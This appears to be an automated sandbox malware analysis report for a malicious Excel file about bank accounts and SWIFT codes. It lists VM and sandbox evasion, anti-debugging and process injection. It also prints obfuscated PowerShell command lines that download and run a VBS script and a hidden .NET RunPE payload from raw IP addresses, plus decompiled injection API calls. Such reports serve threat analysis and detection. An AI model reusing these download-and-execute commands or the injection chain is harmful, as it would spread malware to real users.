Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx Stream path 'Workbook' entropy: 7.99380030039 (max. 8.0)
Source: 46930000.0.dr Stream path 'Workbook' entropy: 7.98848625178 (max. 8.0)

Malware Analysis System Evasion
barindex
Check if machine is in data center or colocation facility
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: powershell.exe, 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.0000000002465000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.00000000024EE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 3D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 2430000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 5B0000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 600000 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3176 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6790 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 704 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3002 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\mshta.exe TID: 1688 Thread sleep time: -360000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3084 Thread sleep count: 3176 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3084 Thread sleep count: 6790 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3128 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3132 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\wscript.exe TID: 3300 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3416 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3420 Thread sleep time: -6456360425798339s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3420 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3420 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3484 Thread sleep time: -180000s >= -30000s Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 600000 Jump to behavior
Source: AddInProcess32.exe, 0000000E.00000002.619170569.00000000024EE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware
Source: AddInProcess32.exe, 0000000E.00000002.619170569.00000000024EE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware
Source: AddInProcess32.exe, 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_003D5310 CheckRemoteDebuggerPresent, 14_2_003D5310
Checks if the current process is being debugged
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process queried: DebugPort Jump to behavior
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\System32\wscript.exe Network Connect: 94.156.65.247 80 Jump to behavior
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3324, type: MEMORYSTR
.NET source code references suspicious native API functions
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, RunPEE.cs Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref *(string*)(&name)), ref *(string*)(&method)), typeof(CreateApi)))
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, RunPEE.cs Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref *(string*)(&name)), ref *(string*)(&method)), typeof(CreateApi)))
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, RunPEE.cs Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num7 + num14, array2, array2.Length, ref bytesWritten)
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, RunPEE.cs Reference to suspicious API methods: lIuveTP8wwjVYKV1XP(VirtualAllocEx, processInformation.ProcessHandle, 0, length, 12288, 64)
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, RunPEE.cs Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num15 + 8, ref buffer, 4, ref bytesWritten)
Source: 12.2.powershell.exe.12778558.2.raw.unpack, Ljq6xD21ACX.cs Reference to suspicious API methods: OZkujShDCVG.OpenProcess(aPNZ30.DuplicateHandle, bInheritHandle: true, (uint)snUp2.ProcessID)
Injects a PE file into a foreign processes
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC2C3.tmp" "c:\Users\user\AppData\Local\Temp\cboglgly\CSC66221087E6254F6E92E0F9138CFEC2C1.TMP" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]0x22+'jhlsc0ozthu3nyagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagqurelxrzugugicagicagicagicagicagicagicagicagicagic1nrw1crxjkrwzptml0sw9oicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivxjstu9olkrsbcisicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicbwaw1gq1nhwcxzdhjpbmcgicagicagicagicagicagicagicagicagicagieysc3ryaw5nicagicagicagicagicagicagicagicagicagicbjsfhovetzcnbilhvpbnqgicagicagicagicagicagicagicagicagicagifllusxjbnrqdhigicagicagicagicagicagicagicagicagicagiedgktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginztcelnclj2sxpviiagicagicagicagicagicagicagicagicagicaglw5hbuvtcefdzsagicagicagicagicagicagicagicagicagicagu3puvsagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagjhlsc0ozthu3nzo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5oc40ni4xnzgumtq0l2v2zw5pbmdmawxlzgf0aw5nbg92zxiudmjziiwijevodjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtiiwwldapo3n0qxjulxnmzuvqkdmpo3n0yvj0icagicagicagicagicagicagicagicagicagicaijevudjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtig=='+[char]34+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]0x22+'jhlsc0ozthu3nyagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagqurelxrzugugicagicagicagicagicagicagicagicagicagic1nrw1crxjkrwzptml0sw9oicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivxjstu9olkrsbcisicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicbwaw1gq1nhwcxzdhjpbmcgicagicagicagicagicagicagicagicagicagieysc3ryaw5nicagicagicagicagicagicagicagicagicagicbjsfhovetzcnbilhvpbnqgicagicagicagicagicagicagicagicagicagifllusxjbnrqdhigicagicagicagicagicagicagicagicagicagiedgktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginztcelnclj2sxpviiagicagicagicagicagicagicagicagicagicaglw5hbuvtcefdzsagicagicagicagicagicagicagic